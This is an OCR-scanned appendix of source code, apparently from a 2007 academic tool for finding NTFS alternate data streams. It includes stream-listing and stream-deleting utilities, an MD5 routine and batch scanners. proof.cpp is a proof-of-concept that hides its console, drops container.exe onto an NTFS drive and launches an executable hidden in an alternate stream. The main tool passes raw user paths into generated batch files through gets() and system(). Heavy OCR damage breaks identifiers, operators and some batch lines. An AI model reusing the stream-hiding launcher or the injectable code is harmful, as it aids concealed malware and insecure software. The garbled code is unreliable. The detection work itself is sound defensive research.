(void)system("type ntfs-report.txt"); 
cout«"Do u want to save results to logs file?\n"; 
cout«"choose(y/n) :\n"; 
char choice8[100]; 
gets(choice8);
if (!strcmp("y",choice8)){(void)system("type ntfs-report.txt» log.txt");
cout«"Done!\n"; }
(void)system("del ntfs-report.txt");
}
else if(!strcmp("content",choice)){
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cout«"Give full folder path:"; 
char choice3[1000];
// getchar(); 
gets(choice3);
// what=PathExits(choice3);
//if (what==false){system("cls");
//break;}
myfile.open("ntfstool.bat");
myfile«("if exist ntfsreport.txt del ntfsreport.txt\n");
myfile«("xcopy fs.bat");
myfile«choice3;
myfile«("\n");
myfile«("xcopy ls.exe ");
myfile«choice3;
myfile«("\n");
myfile«("cd /D ");
myfile«choice3;
myfile « "\ncall fs.bat \n";
myfile « "@cls \n type ";
myfile«choice3;
myfile « "ntfsreport.txt \n";
myfile « "xcopy ";
myfile <<choice3;
myfile « "ntfsreport.txt \"c:\\ \" /s/c/q/r/h \n";
// myfile « "@cls \n type c:\\ntfsreport.txt \n";
myfile «"del";
myfile <<choice3;
myfile « "ntfsreport.txt \n";
myfile «"del";
myfile <<choice3;
myfile « "fs.bat\n";
myfile « "del";
myfile <<choice3;
myfile « "ls.exe\n";
myfile « ":exitbatch";
myfile.close();
(void)system("ntfstool.bat");
(void)system("del ntfstool.bat"); 
cout«"Do u want to save results to logs file?\n"; 
cout«"choose(y/n):\n"; 
char choicel3[100]; 
gets(choicel3);
if (!strcmp("y",choicel3)){(void)system("type C:\\ntfsreport.txt» log.txt");
cout«"Done!\n"; }
(void)system("del c:\\ntfsreport.txt");
}
else {break;}
getchar();
break;
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case 4 : system("cls"); 
cout«"\n4.LOG file\n\n";
(void)system("if exist log.txt type log.txt \n\n"); 
cout«"\n\n";
cout«"Press any key to continue"; 
getchar(); getchar(); 
system("cls"); 
break;
case 5 : system("cls"); 
cout«"\n5.Help\n"; 
cout«"\n.This is the help area.\n";
cout«"\n.Altemate data streams can be hosted not only in NTFS drives but also in every possible 
File system format.\n";
cout«"\n.Usual places to find them are .exe , .rar and other types of files.\n"; 
cout«"\n.This tool helps users find alternate data streams hidden in every possible format and File 
system. \n";
cout«"\n2.Created by ADAMADINI EIRHNH MARTINI & ALEXANDROS ZAHARIS— 
2007"; 
getchar(); 
system("cls"); 
break;
default: system("cls"); 
cout«"\nO.Exit\n"; 
exit(0); 
return 0;
}
getchar();} 
getchar(); 
return 0;
}
bool PathExits(const char* pathtocheck)
{int ret = _chdir(pathtocheck) ; 
return (ret = 0);
}
int fexist( char * filename ) { struct stat buffer ; 
if ( stat( filename, &buffer )) return 1 ; 
return 0 ;
}
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ls.cpp________________
#include <windows.h> 
#include <tchar.h> 
#include <stdio.h>
#include "AltStreams.h"
void PrintError(DWORD dwErr) { 
char szMsg[256];
DWORD dwFlags = FORMAT MESSAGE IGNORE INSERTS | 
FORMATJMESSAGEMAXWIDTHMASK | 
FORMATMESSAGEFROMSYSTEM;
if (!::FormatMessage(dwFlags, NULL, dwErr, 0, szMsg, sizeof(szMsg), NULL)) strcpy(szMsg, 
"Unknown error."); 
printf(szMsg); 
printf("\n");
}
int main(int argc, char *argv[]) {
NT QUERYINFORM ATIONFILE NtQuerylnformationFile; 
int iRetCode - EXIT FAILURE;
if (argc != 2) {
printf("\nList streams program: \nUsage:\n Is file\n\nExample:\n Is C:\\file.dat\n\n"); 
exit(EXIT_SUCCESS);
}
try {
LPBYTE plnfoBlock = NULL;
ULONG ulnfoBlockSize = 0;
IO STATUS BLOCK ioStatus;
NTSTATUS status;
HANDLE hFile;
(FARPROC&)NtQueryInformationFile = ::GetProcAddress(::GetModuleHandle("ntdll.dll"), 
"NtQuerylnformationFile");
if (NtQuerylnformationFile = NULL) throw ::GetLastError();
// Obtain SE_BACKUP_NAME privilege (required for opening a directory)
HANDLE hToken = NULL;
TOKEN PRIVILEGES tp; 
try {
if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN ADJUST PRIVILEGES, &hToken)) 
throw :: GetLastError();
if (!::LookupPrivilegeValue(NULL, SEBACKUPNAME, &tp.Privileges[0].Luid)) throw 
::GetLastError();
tp.PrivilegeCount = 1;
tp.Privileges[0]. Attributes = SEPRIVILEGEENABLED;
if (!::AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, 
NULL)) throw ::GetLastError();
}
catch (DWORD) { } // Ignore errors
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if (hToken) ::CloseHandle(hToken);
hFile = ::CreateFile(argv[l], 0, FILESHAREREAD | FILESHAREWRITE, NULL, 
OPENEXISTING, FILE FLAG BACKUP SEMANTICS, NULL); 
if (hFile == INVALID_HANDLE_VALUE) throw ::GetLastError();
do {
ulnfoBlockSize += 16 * 1024; 
delete [] plnfoBlock;
plnfoBlock = new BYTE [ulnfoBlockSize];
((PFILE_STREAM_INFORMATION)pInfoBlock)->StreamNameLength = 0; 
status = NtQueryInformationFile(hFile, &ioStatus, (LPVOID)pInfoBlock, ulnfoBlockSize, 
FileStreamlnformation);
} while (status = STATUS BUFFER OVERFLOW);
::CloseElandle(hFile);
PFILESTREAMINFORMATION pStreamlnfo = 
(PFILE_STREAM_INFORMATION)(LPVOID)pInfoBlock;
ULONGLONG uTotalSize = 0;
LARGEJNTEGER fsize;
WCHAR wszStreamName[MAX_PATH];
char szStreamName[MAX_PATH], szPath[MAX_PATH];
LPSTR pszName; 
int len;
if (!::GetFullPathName(argv[l], MAX PATH, szPath, &pszName)) throw ::GetLastError(); 
printf("%s\n", szPath); 
for (;;) {
if (pStreamInfo->StreamNameLength == 0) break;
memcpy(wszStreamName, pStreamInfo->StreamName, pStreamInfo->StreamNameLength); 
wszStreamName[pStreamInfo->StreamNameLength / sizeof(WCHAR)] = L'\0';
LPWSTR pTag = wcsstr(wszStreamName, L":$DATA"); 
if (pTag) *pTag = L'\0';
len = ::WideCharToMultiByte(CP_ACP, 0, wszStreamName, -1, szStreamName, MAX_PATH, 
NULL, NULL);
// Full path including stream name 
strcpy(szPath, argv[l]); 
if (strcmp(szStreamName,":")) { 
strcat(szPath, szStreamName); 
iRetCode = EXIT_SUCCESS;
}
hFile = ::CreateFile(szPath, 0, FILE SHARE READ | FILE SHARE WRITE, NULL, 
OPEN EXISTING, 0, NULL);
if (hFile == INVALID H ANDLE V ALUE) throw ::GetLastError();
//if (!::GetFileSizeEx(hFile, &fsize)) throw ::GetLastError();
::CloseHandle(hFile);
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if (len < 40) {
strcat(szStreamName," ");
szStreamName[40] = '\0';
}
else
strcat(szStreamName,"");
printf(" %s%I64u\n", szStreamName, fsize.QuadPart); 
uTotalSize += fsize.QuadPart;
if (pStreamInfo->NextEntryOffset == 0) break;
pStreamlnfo = (PFILE_STREAM_INFORMATION)((LPBYTE)pStreamInfo + pStreamlnfo- 
>N extEntry Offset);
}
if (pStreamInfo->StreamNameLength) 
printf("Total size: %I64u bytes.\n", uTotalSize); 
else
printf("No streams found.");
}
catch (DWORD dwErrCode) {
PrintError(dwErrCode); 
iRetCode = EXIT_FAILURE;
}
exit(iRetCode);
}
AltStreams.h__________________________________________________
typedef INT NTSTATUS;
#define STATUS BUFFER OVERFLOW ((NTSTATUS)0x80000005L)
typedef struct _IO_STATUS_BLOCK {
NTSTATUS Status;
ULONG Information;
} IO STATUS BLOCK, *PIO_STATUS_BLOCK;
typedef enum FILE INFORMATION CLASS { 
FileDirectory Information = 1,
FileFullDirectory Information,
FileBothDirectorylnformation,
FileBasicInformation,
FileStandardlnformation,
Filelntemallnformation,
FileEalnformation,
FileAccessInformation,
FileNamelnformation,
FileRenamelnformation,
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FileLinklnformation,
FileNamesInformation,
FileDispositionlnformation,
FilePositionlnformation,
FileModelnformation = 16,
FileAlignmentlnformation,
FileAllInformation,
File Allocationlnformation,
FileEndOfFilelnformation,
FileAltemateNamelnformation,
FileStreamlnformation,
FilePipelnformation,
F ilePipeLocallnformation,
FilePipeRemotelnformation,
FileMailslotQuerylnformation,
FileMailslotSetlnformation,
FileCompressionlnformation,
FileObj ectldlnformation,
FileCompletionlnformation,
F ileMoveClusterlnformation,
FileQuotalnformation,
FileReparsePointlnformation,
FileNetworkOpenlnformation,
File AttributeT aglnformation,
FileT rackinglnformation
} FILEINFORMATIONCLASS, *PFILE_INFORMATION_CLASS;
#pragma pack(push, 4)
typedef struct FILE STREAM INFORMATION { ULONG NextEntryOffset; 
ULONG StreamNameLength;
LARGEINTEGER EndOfStream;
LARGE_INTEGER AllocationSize;
WCHAR StreamName[ 1 ];
} FILE_STREAM_INFORMATION, * PFILE STREAM INFORMATION; 
//pragma pack(pop)
typedef NTSTATUS (ΝΤΑΡΙ *NTQUERYINFORMATIONFILE)(
IN HANDLE FileHandle,
OUT PIO STATUS BLOCK IoStatusBlock,
OUT PVOID Filelnformation,
IN ULONG Length,
IN FILE INFORMATION CLASS FilelnformationClass);
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Resource.h
#ifdef APSTUDIO INVOKED
#ifndef APSTUDIO READONLY SYMBOLS
#define APS NEXT RESOURCE VALUE 101
#define APS NEXT COMMAND VALUE 40001
#define APS NEXT CONTROL VALUE 1000
#define APS NEXT SYMED VALUE 101
#endif
#endif
Ds.cpp___________
#include <windows.h> 
#include <stdio.h>
void PrintError(DWORD dwErr) { 
char szMsg[256];
DWORD dwFlags = FORMAT MESSAGE IGNORE INSERTS | 
FORMAT_MESSAGE_MAX_WIDTH_MASK | 
FORMAT_MESSAGE_FROM_SYSTEM;
if (!::FormatMessage(dwFlags, NULL, dwErr, 0, szMsg, sizeof(szMsg), NULL)) strcpy(szMsg, 
"Unknown error."); 
printf(szMsg); 
printf("\n");
}
int main(int argc, char *argv[]) { 
int iRetCode = EXIT_SUCCESS;
if (argc != 2) {
printf("\nDelete stream program:\nUsage:\n ds stream\n\nExample:\n ds C:\Yfile.dat:text\n\n"); 
exit(EXITSUCCESS);
}
try {
if (!::DeleteFile(argv[l])) throw ::GetLastError();
}
catch (DWORD dwErrCode) {
PrintError(dwErrC ode); 
iRetCode = EXIT_FAILURE;
}
exit(iRetCode);
}
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md5.cpp___________________________________________________________________
#include <stdio.h>
#include <stdlib.h>
#include "MD5.h"
/* Padding */
static unsigned char MD5_PADDING[64] = {
0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
/* MD5_F, MD5_G and MD5_H are basic MD5 functions: selection, majority, parity */ 
#define MD5_F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define MD5_G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define MD5_H(x, y, z) ((x) Λ (y) Λ (z))
#define MD5_I(x, y, z) ((y) Λ ((x) | (~z)))
/* ROTATELEFT rotates x left n bits */
#ifndef ROTATELEFT
#define ROTATE_LEFT(x, n) (((x) « (n)) | ((x)» (32-(n))))
#endif
/* MD5_FF, MD5_GG, MD5_HH, and MD5_II transformations for rounds 1, 2, 3, and 4 */
/* Rotation is separate from addition to prevent recomputation */
#defme MD5_FF(a, b, c, d, x, s, ac) {(a) += MD5_F ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = 
ROTATE LEFT ((a), (s)); (a) += (b); }
#define MD5_GG(a, b, c, d, x, s, ac) {(a) += MD5 G ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = 
ROTATE LEFT ((a), (s)); (a) += (b); }
#define MD5_HH(a, b, c, d, x, s, ac) {(a) += MD5_H ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = 
ROTATE LEFT ((a), (s)); (a) += (b); }
#define MD5_II(a, b, c, d, x, s, ac) {(a) += MD5_I ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = 
ROTATE LEFT ((a), (s)); (a) += (b); }
/* Constants for transformation */
#define MD5_S11 7 /* Round 1 */
#defme MD5S12 12 
#define MD5_S 13 17 
#define MD5_S14 22 
#define MD5_S21 5 /* Round 2 */
#define MD5_S22 9
#defme MD5_S23 14
#define MD5_S24 20
#defme MD5_S314/* Round 3 */
#defme MD5 S32 11
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#define MD5_S33 16 
#defme MD5_S34 23 
#defme MD5_S41 6 /* Round 4 */
#define MD5_S42 10 
#defme MD5_S43 15 
#define MD5_S44 21
/* Basic MD5 step. MD5_Transform buf based on in */ 
static void MD5_Transform (UINT4 *buf, UINT4 * in)
{
UINT4 a = buflO], b = buf[l], c = buf[2], d - buf[3];
/* Round 1 */
MD5 FF ( a, b, c, d, in[ 0], MD5_S11, (UINT4) 3614090360u); /* 1 */ 
MD5_FF ( d, a, b, c, in[ 1], MD5_S12, (UINT4) 39054027lOu); /* 2 */ 
MD5 FF ( c, d, a, b, inf 2], MD5_S13, (UINT4) 606105819u); /* 3 */ 
MD5 FF ( b, c, d, a, inf 3], MD5_S14, (UINT4) 3250441966u); /* 4 */
MD5 FF ( a, b, c, d, inf 4], MD5_S11, (UINT4) 4118548399u); /* 5 */
MD5 FF ( d, a, b, c, inf 5], MD5_S12, (UINT4) 1200080426u); /* 6 */
MD5 FF ( c, d, a, b, inf 6], MD5_S13, (UINT4) 2821735955u); /* 7 */
MD5_FF ( b, c, d, a, inf 7], MD5_S14, (UINT4) 4249261313u); /* 8 */ 
MD5_FF ( a, b, c, d, inf 8], MD5_S11, (UINT4) 1770035416u); /* 9 */ 
MD5_FF ( d, a, b, c, inf 9], MD5_S12, (UINT4) 2336552879u); /* 10 */ 
MD5 FF ( c, d, a, b, inf 10], MD5_S13, (UINT4) 4294925233u); /* 11 */ 
MD5_FF ( b, c, d, a, infll], MD5_S14, (UINT4) 2304563134u); /* 12 */ 
MD5 FF ( a, b, c, d, inf 12], MD5_S11, (UINT4) 1804603682u); /* 13 */ 
MD5 FF ( d, a, b, c, in[13], MD5_S12, (UINT4) 4254626195u); /* 14 */ 
MD5_FF ( c, d, a, b, in[14], MD5_S13, (UINT4) 2792965006u); /* 15 */ 
MD5 FF ( b, c, d, a, in[15], MD5_S14, (UINT4) 1236535329u); /* 16 */
/* Round 2 */
MD5 GG ( a, b, c, d, inf 1], MD5_S21, (UINT4) 4129170786u); /* 17 */
MD5 GG ( d, a, b, c, inf 6], MD5_S22, (UINT4) 3225465664u); /* 18 */
MD5 GG ( c, d, a, b, infl 1], MD5_S23, (UINT4) 643717713u); /* 19 */ 
MD5 GG ( b, c, d, a, inf 0], MD5_S24, (UINT4) 3921069994u); /* 20 */
MD5 GG ( a, b, c, d, inf 5], MD5_S21, (UINT4) 3593408605u); /* 21 */
MD5 GG ( d, a, b, c, inflO], MD5_S22, (UINT4) 38016083u); /* 22 */ 
MD5 GG ( c, d, a, b, in[15], MD5_S23, (UINT4) 3634488961u); /» 23 */ 
MD5 GG ( b, c, d, a, inf 4], MD5_S24, (UINT4) 3889429448u); /* 24 */
MD5 GG ( a, b, c, d, inf 9], MD5_S21, (UINT4) 568446438u); /* 25 */
MD5 GG ( d, a, b, c, in[14], MD5_S22, (UINT4) 3275163606u); /* 26 */ 
MD5 GG (c, d, a, b, inf 3], MD5_S23, (UINT4) 4107603335u); /* 27 */
MD5 GG (b, c, d, a, inf 8], MD5_S24, (UINT4) 1163531501u); /* 28 */
MD5 GG (a, b, c, d, in[13], MD5_S21, (UINT4) 2850285829u); /* 29 */ 
MD5 GG (d, a, b, c, inf 2], MD5_S22, (UINT4) 4243563512u); /* 30 */
MD5 GG (c, d, a, b, inf 7], MD5_S23, (UINT4) 1735328473u); /* 31 */
MD5 GG (b, c, d, a, in[12], MD5_S24, (UINT4) 2368359562u); /* 32 */
/* Round 3 */
MD5 HH ( a, b, c, d, inf 5], MD5_S31, (UINT4) 4294588738u); /* 33 */
MD5 HH ( d, a, b, c, inf 8], MD5_S32, (UINT4) 2272392833u); /* 34 */
MD5 HH ( c, d, a, b, infl 1], MD5_S33, (UINT4) 1839030562u); /* 35 */
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MD5 HH (b, c, d, a, in[14], MD5_S34, (UINT4) 4259657740u); /* 36 */ 
MD5HH ( a, b, c, d, in[ 1], MD5_S31, (UINT4) 2763975236u); /* 37 */ 
MD5JHH ( d, a, b, c, in[ 4], MD5_S32, (UINT4) 1272893353u); /* 38 */ 
MD5 HH ( c, d, a, b, in[ 7], MD5_S33, (UINT4) 4139469664u); /* 39 */ 
MD5 HH ( b, c, d, a, in[10], MD5_S34, (UINT4) 3200236656u); /* 40 */ 
MD5HH (a, b, c, d, in[13], MD5_S31, (UINT4) 681279174u); /* 41 */ 
MD5HH (d, a, b, c, in[ 0], MD5_S32, (UINT4) 3936430074u); /* 42 */ 
MD5 HH ( c, d, a, b, in[ 3], MD5_S33, (UINT4) 3572445317u); /* 43 */ 
MD5HH (b, c, d, a, in[ 6], MD5_S34, (UINT4) 76029189u); /* 44 */ 
MD5 HH ( a, b, c, d, in[ 9], MD5_S31, (UINT4) 3654602809u); /* 45 */ 
MD5 HH ( d, a, b, c, in[12], MD5_S32, (UINT4) 3873151461u); /* 46 */ 
MD5 HH ( c, d, a, b, in[15], MD5_S33, (UINT4) 530742520u); /* 47 */ 
MD5 HH ( b, c, d, a, in[ 2], MD5_S34, (UINT4) 3299628645u); /* 48 */
/* Round 4 */
MD5JI ( a, b, c, d, in[ 0], MD5_S41, (UINT4) 4096336452u); /* 49 */ 
MD5_II ( d, a, b, c, in[ 7], MD5_S42, (UINT4) 1126891415u); /* 50 */ 
MD5 II ( c, d, a, b, in[14], MD5_S43, (UINT4) 2878612391u); /* 51 */ 
MD5_II ( b, c, d, a, in[ 5], MD5_S44, (UINT4) 4237533241u); /* 52 */ 
MD5 II ( a, b, c, d, in[12], MD5_S41, (UINT4) 1700485571u); /* 53 */ 
MD5 II ( d, a, b, c, in[ 3], MD5_S42, (UINT4) 2399980690u); /* 54 */ 
MD5 II ( c, d, a, b, in[10], MD5_S43, (UINT4) 4293915773u); /* 55 */ 
MD5 II ( b, c, d, a, in[ 1], MD5_S44, (UINT4) 2240044497u); /* 56 */ 
MD5 II ( a, b, c, d, in[ 8], MD5_S41, (UINT4) 1873313359u); /* 57 */ 
MD5 II ( d, a, b, c, in[15], MD5_S42, (UINT4) 4264355552u); /* 58 */ 
MD5 II ( c, d, a, b, in[ 6], MD5_S43, (UINT4) 2734768916u); /* 59 */ 
MD5 II ( b, c, d, a, in[13], MD5_S44, (UINT4) 1309151649u); /* 60 */ 
MD5_II ( a, b, c, d, in[ 4], MD5_S41, (UINT4) 4149444226u); /* 61 */ 
MD5 II (d, a, b, c, in[l 1], MD5_S42, (UINT4) 3174756917u); /* 62 */ 
MD5 II (c, d, a, b, in[ 2], MD5_S43, (UINT4) 718787259u); /* 63 */ 
MD5JI (b, c, d, a, in[ 9], MD5_S44, (UINT4) 3951481745u); /* 64 */
buf[0] += a; 
buf[l]+=b; 
buf{2] += c; 
buf[3] += d;
}
void MD5Init (MD5_CTX *mdContext, unsigned long pseudoRandomNumber)
{
mdContext->i[0] = mdContext->i[l] = (UINT4)0;
/* Load magic initialization constants */
mdContext->buf[0] = (UINT4)0x67452301 + (pseudoRandomNumber * 11); 
mdContext->buf[l] = (UINT4)0xefcdab89 + (pseudoRandomNumber * 71); 
mdContext->buf[2] = (UINT4)0x98badcfe + (pseudoRandomNumber * 37); 
mdContext->buf[3] = (UINT4)0x 10325476 + (pseudoRandomNumber * 97);
}
void MD5Update (MD5_CTX *mdContext, unsigned char *inBuf, unsigned int inLen)
{
UINT4 in[161;
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int mdi = 0;
unsigned int i = 0, ii = 0;
/* Compute number of bytes mod 64 */ 
mdi = (int)((mdContext->i[0] » 3) & 0x3F);
if ((mdContext->i[0] + ((UINT4)inLen « 3)) < mdContext->i[0]) 
mdContext->i[ 1 ]++;
mdContext->i[0] += ((UINT4)inLen « 3); 
mdContext->i[l] += ((UINT4)inLen » 29);
while (inLen—)
{
mdContext->in[mdi++] = *inBuf++; 
if (mdi = 0x40)
{
for (i = 0, ii = 0; i < 16; i++, ii += 4)
in[i] = (((UINT4)mdContext->in[ii+3]) « 24) | 
(((UINT4)mdContext->in[ii+2])« 16) | 
(((UINT4)mdContext->in[ii+l ]) « 8) | 
((UINT4)mdContext->in[ii]);
MD5_Transform (mdContext->buf, in); 
mdi = 0;
}
}
}
void MD5Final (MD5CTX *mdContext)
{
UINT4 in[16]; 
int mdi = 0;
unsigned int i = 0, ii = 0, padLen = 0;
/* Save number of bits */ 
in[14] = mdContext->i[0]; 
in[15] = mdContext->i[l];
/* Compute number of bytes mod 64 */ 
mdi = (int)((mdContext->i[0] » 3) & 0x3F);
/* Pad out to 56 mod 64 */
padLen = (mdi < 56) ? (56 - mdi): (120 - mdi);
MD5Update (mdContext, MD5 PADDING, padLen);
/* Append length in bits and transform */ 
for (i = 0, ii = 0; i < 14; i++, ii += 4)
in[i] = (((UINT4)mdContext->in[ii+3]) « 24) | 
(((UINT4)mdContext->in[ii+2])« 16) | 
(((UINT4)mdContext->in[ii+lj)« 8) | 
((UINT4)mdContext->in[ii]);
_______MD5_Transform (mdContext->buf, in);
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for (i = 0, ii = 0; i < 4; i++, ii += 4)
{
mdContext->digest[ii] = (unsigned char)( mdContext->buf[i] & OxFF); 
mdContext->digest[ii+l] = (unsigned char)((mdContext->buf[i] » 8) & OxFF); 
mdContext->digest[ii+2] = (unsigned char)((mdContext->buf[i] » 16) & OxFF); 
mdContext->digest[ii+3] = (unsigned char)((mdContext->buf[i] » 24) & OxFF);
}
md5.h__________
#ifndef___ MD5_H
#define MD5 H
/* Typedef a 32 bit type */
#ifndef UINT4
typedef unsigned long int UINT4;
#endif
/* Data structure for MD5 (Message Digest) computation */ 
typedef struct {
UINT4 i[2]; /* Number of _bits_ handled mod 2Λ64 */
UINT4 buf[4]; /* Scratch buffer */
unsigned char in[64]; /* Input buffer */
unsigned char digest[16]; /* Actual digest after MD5Final call */
} MD5 CTX;
static void MD5_Transform (UINT4 *buf, UINT4 *in);
void MD5Init(MD5_CTX *mdContext, unsigned long pseudoRandomNumber = 0); 
void MD5Update(MD5_CTX *mdContext, unsigned char *inBuf, unsigned int inLen); 
void MD5Final(MD5_CTX *mdContext);
#endif /* MD5 H included */
check.vbs_________________________________________________________________
Option Explicit
Const L_NTFS = "The current volume is NTFS"
Const L_NOTNTFS= "Sorry, the current volume is not NTFS so you will not find any ADS."
' Makes sure the current volume is NTFS 
IsNTFS()
function IsNTFS() 
dim fso, drv
IsNTFS = False
set fso = CreateObject("Scripting.FileSystemObject")___________________________________
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set drv = fso.GetDrive(fso.GetDriveName(WScript.ScriptFullName))
MsgBox "Drive "+drv+"\ is :"+drv.FileSystem 
set fso = Nothing
if drv.FileSystem = "NTFS" then MsgBox L NTFS 
if drv.FileSystem - "FAT32" then MsgBox LNOTNTFS 
if drv.FileSystem = "FAT" then MsgBox L NOTNTFS 
end function
Fastcheck.bat
@echo off
@echo ADS-ripper running please wait...
rem This tool finds and list all files with ADS in the current directory
@echo INNER ADS LOCATOR -fast» fast.txt 
echo Date:%DATE% » fast.txt 
echo Time:%TIME% » fast.txt
@echo ************* » fast.txt 
@echo *RAR Files***** » fast.txt 
@echo ************* » fast.txt
FINDSTR /s/m"DyD:s Ώ3Ώ 
@echo ************* » fast.txt 
@echo *EXE Files***** » fast.txt 
@echo fsst txt
FINDSTR /s/m"Dv|/D:s Π3Π
(^CCllO txt
@echo *TXT Files***** » fast.txt 
^echo txt
FINDSTR /s/m"DvD:s Ώ3Π 
(^CCllO t3.St txt
STM:" %l\*.rar »fast.txt
STM:" %l\*.exe » fast.txt
STM:" %l\*.txt» fast.txt
:exitbatch
fullcheck.bat__________________________________________
@echo off
@echo ADS-ripper running please wait...
rem This tool finds and list all files with ADS in the current directory
@echo INNER ADS LOCATOR -full » full.txt 
echo Scanning »full.txt 
echo Date:%DATE% » full.txt 
echo Time:%TIME% » full.txt
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@echo ************* » fuu 
@echo *ALL Files***** » full.txt
(^Ccll0 Η4ΗίΗ4Η4ϊΙ4514ΗίΗίΗι*Η4Η4*ί*Η4 ^jJ|
FINDSTR /s /m "□yD:s Π3Π STM:" %1\*.* » full.txt
(^6cll0 •fcH4ii4'ii'J45l45l45ls5|4i|e5ie>liHi f\lll txt
:exitbatch
fs.bat_________________________________________________________________
@echo off
rem This batch file finds and list all files with ADS in the current directory
echo Files containing alternate streams: » ntfsreport.txt 
echo Date:%DATE% » ntfsreport.txt 
echo Time:%TIME% » ntfsreport.txt 
for /R %%f in (*.*) do call xheckf "%%f' 
goto exitbatch
xheckf
rem We don't want to list streams so throw out the output 
Is %l >nul
if not errorlevel 1 echo %1 » ntfsreport.txt 
: exitbatch
proof.cpp___________________________
#define _WIN32_WINNT 0x0500 
#include <windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string.h> 
using namespace std;
int main()
{
HWND hWnd = GetConsoleWindow(); 
ShowWindow( hWnd, SW HIDE ); 
ofstream myfile; 
char VolName[100];
DWORD Serial;
DWORD MaxFileLength;
DWORD SysFlags;
DWORD ret2; 
char FSName[100]; 
char buf[26*4+l];
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BOOL ret; 
int ij,k=0;
COUt« "ΨΗ!*****************^".
cout« "* Proof vl.O *\n"; 
cout« "*******************\n\nM‘
while(k<=0){
cout«" Looking for ntfs to install malwareVn"; 
ret2=GetLogicalDriveStrings(sizeof(buf),buf);
for(i=0;buf[i] !=0;i+=strlen(buf+i)+l) // bump up to the beginning of next drive string 
{ // printf("%s =",buf+i);
ret=GetVolumeInformation(buf+i, 
VolName,100,// volume Name 
&Serial, // Serial Number 
&MaxFileLength, // Max File Name Length 
&SysFlags, // File System Flags 
FSName,100 // FS Type 
);
if (!strcmp(”NTFS",FSName)){cout«"Found NTFS drive.\n";
myfile.open("proof.bat"); 
myfile«("xcopy container.exe "); 
myfile«buf+i; 
myfile«("\ncd /D "); 
myfile«buf+i;
myfile « "\n container.exe \n"; 
my file « "start 
myfile«buf+i;
myfile « "Wcon2.txt:pspv.exe \n"; 
myfile.close(); 
(void)system("proof.batM); 
(void)system("del proof.bat”); 
Sleep(50); 
return 0;
}
}
Sleep(50000);
}
getchar(); 
return 0;
VOID Sleep(
DWORD dwMilliseconds // sleep time in milliseconds
);
return 0;
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Streamcreator.cpp_________________________________________
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hFile, hStream;
DWORD dwRet;
hFile = CreateFile( "testfile.txt",
GENERICWRITE,
FILESHAREWRITE,
NULL,
OPENALWAYS,
0,
NULL);
if( hFile == INVALID HANDLE VALUE ) 
printf( "Cannot open testfile\n"); 
else
WriteFile( hFile, "This is testfile", 16, &dwRet, NULL );
hStream = CreateFile( "testfile.txt:stream.txt",
GENERICWRITE,
FILESHAREWRITE,
NULL,
OPEN_ALWAYS,
0,
NULL);
if( hStream == INVALID HANDLE VALUE ) 
printf( "Cannot open testfile:stream\n"); 
else
WriteFile(hStream, "This is testfilerstream", 23, &dwRet, NULL); }
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